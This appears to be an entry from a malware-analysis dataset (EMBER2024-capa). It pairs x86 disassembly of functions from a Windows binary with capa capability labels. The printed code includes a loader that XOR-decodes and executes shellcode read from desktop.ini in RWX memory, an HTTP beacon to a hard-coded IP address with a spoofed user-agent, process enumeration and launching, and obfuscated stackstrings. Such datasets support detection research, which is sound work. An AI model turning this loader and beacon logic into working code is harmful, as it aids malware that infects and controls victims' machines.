joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x401071
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4010a8
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x4010a6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4010a8
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4010b0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push 0x40213c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._s_afaefefaeff.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401103
xor al, al
jmp 0x40113d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40113b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x401340
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov byte [ebp - 5], 0
mov dword [ebp - 0x130], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4013a8
lea edx, [ebp - 0x130]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4013a8
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x10c]
push edx
call sub.MSVCR90.dll_strcmp
add esp, 8
test eax, eax
jne 0x4013a6
mov byte [ebp - 5], 1
jmp 0x401377
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x401400
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push str.http:__91.202.233.141_OUTLOOK
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401474
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x409200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x28], 0x2f0020
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x28]
mov eax, 0x5cd228
mov dword [ebp - 0x24], 0x720066
mov dword [ebp - 0x20], 0x6d006f
mov edx, 0x12
mov dword [ebp - 0x1c], 0x64003d
sub esi, eax
mov dword [ebp - 0x18], 0x730065
mov dword [ebp - 0x14], 0x5f006b
mov dword [ebp - 0x10], 0x630069
mov dword [ebp - 0xc], 0x6e006f
nop
lea ecx, [edx + 0x7fffffec]
test ecx, ecx
je 0x40927e
movzx ecx, word [esi + eax]
test cx, cx
je 0x40927e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x409260
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cd228
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x4092a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x64002f
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x5cc8b4
mov dword [ebp - 0x18], 0x6c0065
mov dword [ebp - 0x14], 0x790061
mov edx, 0xc
mov dword [ebp - 0x10], str.:_o_b
sub esi, eax
mov dword [ebp - 0xc], 0x6b006e
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x40930e
movzx ecx, word [esi + eax]
test cx, cx
je 0x40930e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4092f0
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cc8b4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x4093b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5cc7f0
mov dword [ebp - 0x28], 0x2d002d
lea esi, [ebp - 0x28]
mov dword [ebp - 0x24], 0x750070
mov dword [ebp - 0x20], 0x680073
mov edx, 0x13
mov dword [ebp - 0x1c], 0x6a002d
sub esi, eax
mov dword [ebp - 0x18], 0x77006b
mov dword [ebp - 0x14], 0x73002d
mov dword [ebp - 0x10], 0x6c0069
mov dword [ebp - 0xc], 0x6e0065
mov dword [ebp - 8], 0x74
nop
lea ecx, [edx + 0x7fffffeb]
test ecx, ecx
je 0x40942e
movzx ecx, word [esi + eax]
test cx, cx
je 0x40942e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x409410
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cc7f0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret
Function at 0x409d80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x57a990]
mov eax, 0x5ccb78
push esi
movups xmmword [ebp - 0x34], xmm0
lea esi, [ebp - 0x34]
mov dword [ebp - 0x14], 0x4d747261
movaps xmm0, xmmword [0x57aa90]
mov edx, 0x30
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x10], 0x20756e65
sub esi, eax
mov dword [ebp - 0xc], 0x6c696166
mov word [ebp - 8], 0x6465
mov byte [ebp - 6], 0
lea ecx, [edx + 0x7fffffce]
test ecx, ecx
je 0x409dee
mov cl, byte [esi + eax]
test cl, cl
je 0x409dee
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x409dd5
test edx, edx
lea ecx, [eax - 1]
pop esi
cmovne ecx, eax
mov eax, 0x5ccb78
mov byte [ecx], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x409e90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x57a990]
mov eax, 0x5ccae0
push esi
movups xmmword [ebp - 0x34], xmm0
lea esi, [ebp - 0x34]
mov dword [ebp - 0x14], 0x666e4967
movaps xmm0, xmmword [0x57aa00]
mov edx, 0x2e
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x10], 0x6166206f
sub esi, eax
mov dword [ebp - 0xc], 0x64656c69
mov byte [ebp - 8], 0
nop
lea ecx, [edx + 0x7fffffd0]
test ecx, ecx
je 0x409ef9
mov cl, byte [esi + eax]
test cl, cl
je 0x409ef9
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x409ee0
test edx, edx
lea ecx, [eax - 1]
pop esi
cmovne ecx, eax
mov eax, 0x5ccae0
mov byte [ecx], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x409f90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5cd1dc
mov dword [ebp - 0x28], 0x2f0020
lea esi, [ebp - 0x28]
mov dword [ebp - 0x24], 0x720066
mov dword [ebp - 0x20], 0x6d006f
mov edx, 0x13
mov dword [ebp - 0x1c], 0x73003d
sub esi, eax
mov dword [ebp - 0x18], 0x610074
mov dword [ebp - 0x14], 0x740072
mov dword [ebp - 0x10], str.G_av4
mov dword [ebp - 0xc], 0x6e0065
mov dword [ebp - 8], 0x75
nop
lea ecx, [edx + 0x7fffffeb]
test ecx, ecx
je 0x40a00e
movzx ecx, word [esi + eax]
test cx, cx
je 0x40a00e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x409ff0
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cd1dc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret
Function at 0x41e7f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x4f0053
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x2c]
mov eax, 0x5cd814
mov dword [ebp - 0x28], 0x540046
mov dword [ebp - 0x24], 0x410057
mov edx, 0x14
mov dword [ebp - 0x20], 0x450052
sub esi, eax
mov dword [ebp - 0x1c], 0x4d005c
mov dword [ebp - 0x18], 0x630069
mov dword [ebp - 0x14], 0x6f0072
mov dword [ebp - 0x10], 0x610047
mov dword [ebp - 0xc], 0x65006d
lea ecx, [edx + 0x7fffffea]
test ecx, ecx
je 0x41e873
movzx ecx, word [esi + eax]
test cx, cx
je 0x41e873
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x41e855
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cd814
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x41e8a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5cd6d0
mov dword [ebp - 0x28], 0x63002f
lea esi, [ebp - 0x28]
mov dword [ebp - 0x24], 0x650072
mov dword [ebp - 0x20], 0x740061
mov edx, 0x13
mov dword [ebp - 0x1c], 0x5f0065
sub esi, eax
mov dword [ebp - 0x18], 0x650064
mov dword [ebp - 0x14], 0x6b0073
mov dword [ebp - 0x10], 0x69005f
mov dword [ebp - 0xc], 0x6f0063
mov dword [ebp - 8], 0x6e
nop
lea ecx, [edx + 0x7fffffeb]
test ecx, ecx
je 0x41e91e
movzx ecx, word [esi + eax]
test cx, cx
je 0x41e91e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x41e900
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cd6d0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x41e940
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x64002f
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x5cd734
mov dword [ebp - 0x18], 0x6c0065
mov dword [ebp - 0x14], 0x790061
mov edx, 0xc
mov dword [ebp - 0x10], str.:_o_b
sub esi, eax
mov dword [ebp - 0xc], 0x6b006e
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x41e9ae
movzx ecx, word [esi + eax]
test cx, cx
je 0x41e9ae
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x41e990
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cd734
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret
Function at 0x421a50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x4f0053
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x2c]
mov eax, 0x5cdd9c
mov dword [ebp - 0x28], 0x540046
mov dword [ebp - 0x24], 0x410057
mov edx, 0x14
mov dword [ebp - 0x20], 0x450052
sub esi, eax
mov dword [ebp - 0x1c], 0x4d005c
mov dword [ebp - 0x18], 0x630069
mov dword [ebp - 0x14], 0x6f0072
mov dword [ebp - 0x10], 0x610047
mov dword [ebp - 0xc], 0x65006d
lea ecx, [edx + 0x7fffffea]
test ecx, ecx
je 0x421ad3
movzx ecx, word [esi + eax]
test cx, cx
je 0x421ad3
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x421ab5
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cdd9c
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x421b00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x38], 0x650057
push ebx
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x38]
mov eax, 0x5cd8c4
mov dword [ebp - 0x34], 0x440069
push edi
mov dword [ebp - 0x30], 0x610075
mov edx, 0x1a
mov dword [ebp - 0x2c], 0x44006e
sub esi, eax
mov dword [ebp - 0x28], 0x610069
mov dword [ebp - 0x24], 0x6f006c
mov dword [ebp - 0x20], 0x530067
mov dword [ebp - 0x1c], 0x620075
mov dword [ebp - 0x18], 0x6e0057
mov dword [ebp - 0x14], 0x450064
mov dword [ebp - 0x10], 0x690078
mov dword [ebp - 0xc], 0x740073
nop dword [eax]
lea ecx, [edx + 0x7fffffe4]
test ecx, ecx
je 0x421b9e
movzx ecx, word [esi + eax]
test cx, cx
je 0x421b9e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x421b80
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5cd8c4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x421bd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x64002f
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x5cdb20
mov dword [ebp - 0x18], 0x6c0065
mov dword [ebp - 0x14], 0x790061
mov edx, 0xc
mov dword [ebp - 0x10], str.:_o_b
sub esi, eax
mov dword [ebp - 0xc], 0x6b006e
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x421c3e
movzx ecx, word [esi + eax]
test cx, cx
je 0x421c3e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x421c20
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cdb20
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret
Function at 0x430f10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x64002f
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x5ce110
mov dword [ebp - 0x18], 0x6c0065
mov dword [ebp - 0x14], 0x790061
mov edx, 0xc
mov dword [ebp - 0x10], str.:_o_b
sub esi, eax
mov dword [ebp - 0xc], 0x6b006e
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x430f7e
movzx ecx, word [esi + eax]
test cx, cx
je 0x430f7e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x430f60
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5ce110
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x430fa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5ce240
mov dword [ebp - 0x2c], 0x6f0053
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x740066
push edi
mov dword [ebp - 0x24], 0x610077
mov edx, 0x15
mov dword [ebp - 0x20], 0x650072
sub esi, eax
mov dword [ebp - 0x1c], 0x59005c
mov dword [ebp - 0x18], 0x680078
mov dword [ebp - 0x14], 0x610047
mov dword [ebp - 0x10], 0x65006d
mov dword [ebp - 0xc], 0x6f0062
mov dword [ebp - 8], 0x78
nop word [eax + eax]
lea ecx, [edx + 0x7fffffe9]
test ecx, ecx
je 0x43102e
movzx ecx, word [esi + eax]
test cx, cx
je 0x43102e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x431010
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
mov word [ecx], ax
mov eax, 0x5ce240
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x431050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x20], 0x72002f
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x20]
mov eax, 0x5ce168
mov dword [ebp - 0x1c], 0x630065
mov dword [ebp - 0x18], 0x72006f
mov edx, 0xe
mov dword [ebp - 0x14], 0x5f0064
sub esi, eax
mov dword [ebp - 0x10], 0x6e0069
mov dword [ebp - 0xc], 0x6f0066
lea ecx, [edx + 0x7ffffff0]
test ecx, ecx
je 0x4310be
movzx ecx, word [esi + eax]
test cx, cx
je 0x4310be
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4310a0
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5ce168
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret
Function at 0x436080
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x64002f
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x5ce518
mov dword [ebp - 0x18], 0x6c0065
mov dword [ebp - 0x14], 0x790061
mov edx, 0xc
mov dword [ebp - 0x10], str.:_o_b
sub esi, eax
mov dword [ebp - 0xc], 0x6b006e
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x4360ee
movzx ecx, word [esi + eax]
test cx, cx
je 0x4360ee
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4360d0
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5ce518
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x436110
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov ecx, 0x5ce754
mov dword [ebp - 0x14], 0x72636e65
lea esi, [ebp - 0x14]
mov dword [ebp - 0x10], 0x5f747079
mov dword [ebp - 0xc], 0x65707974
mov edx, 0xe
mov byte [ebp - 8], 0
sub esi, ecx
nop dword [eax]
lea eax, [edx + 0x7ffffff0]
test eax, eax
je 0x436169
mov al, byte [esi + ecx]
test al, al
je 0x436169
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x436150
lea eax, [ecx - 1]
test edx, edx
pop esi
cmovne eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov byte [eax], 0
mov eax, 0x5ce754
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x436190
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5ce4b4
mov dword [ebp - 0x28], 0x63002f
lea esi, [ebp - 0x28]
mov dword [ebp - 0x24], 0x650072
mov dword [ebp - 0x20], 0x740061
mov edx, 0x13
mov dword [ebp - 0x1c], 0x5f0065
sub esi, eax
mov dword [ebp - 0x18], 0x650064
mov dword [ebp - 0x14], 0x6b0073
mov dword [ebp - 0x10], 0x69005f
mov dword [ebp - 0xc], 0x6f0063
mov dword [ebp - 8], 0x6e
nop
lea ecx, [edx + 0x7fffffeb]
test ecx, ecx
je 0x43620e
movzx ecx, word [esi + eax]
test cx, cx
je 0x43620e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4361f0
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5ce4b4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret
Function at 0x43b580
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x5cea20
mov dword [ebp - 0x1c], 0x4f0053
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x540046
mov dword [ebp - 0x14], 0x410057
mov edx, 0xd
mov dword [ebp - 0x10], 0x450052
sub esi, eax
mov dword [ebp - 0xc], 0x25005c
mov dword [ebp - 8], 0x73
nop word [eax + eax]
lea ecx, [edx + 0x7ffffff1]
test ecx, ecx
je 0x43b5ee
movzx ecx, word [esi + eax]
test cx, cx
je 0x43b5ee
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x43b5d0
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5cea20
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x43b610
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x38], 0x650057
push ebx
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x38]
mov eax, 0x5ce88c
mov dword [ebp - 0x34], 0x440069
push edi
mov dword [ebp - 0x30], 0x610075
mov edx, 0x1a
mov dword [ebp - 0x2c], 0x44006e
sub esi, eax
mov dword [ebp - 0x28], 0x610069
mov dword [ebp - 0x24], 0x6f006c
mov dword [ebp - 0x20], 0x530067
mov dword [ebp - 0x1c], 0x620075
mov dword [ebp - 0x18], 0x6e0057
mov dword [ebp - 0x14], 0x450064
mov dword [ebp - 0x10], 0x690078
mov dword [ebp - 0xc], 0x740073
nop dword [eax]
lea ecx, [edx + 0x7fffffe4]
test ecx, ecx
je 0x43b6ae
movzx ecx, word [esi + eax]
test cx, cx
je 0x43b6ae
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x43b690
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5ce88c
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret

Function at 0x43b6e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5c524c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x64002f
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x1c]
mov eax, 0x5ce984
mov dword [ebp - 0x18], 0x6c0065
mov dword [ebp - 0x14], 0x790061
mov edx, 0xc
mov dword [ebp - 0x10], str.:_o_b
sub esi, eax
mov dword [ebp - 0xc], 0x6b006e
nop dword [eax]
lea ecx, [edx + 0x7ffffff2]
test ecx, ecx
je 0x43b74e
movzx ecx, word [esi + eax]
test cx, cx
je 0x43b74e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x43b730
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5ce984
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047268d
mov esp, ebp
pop ebp
ret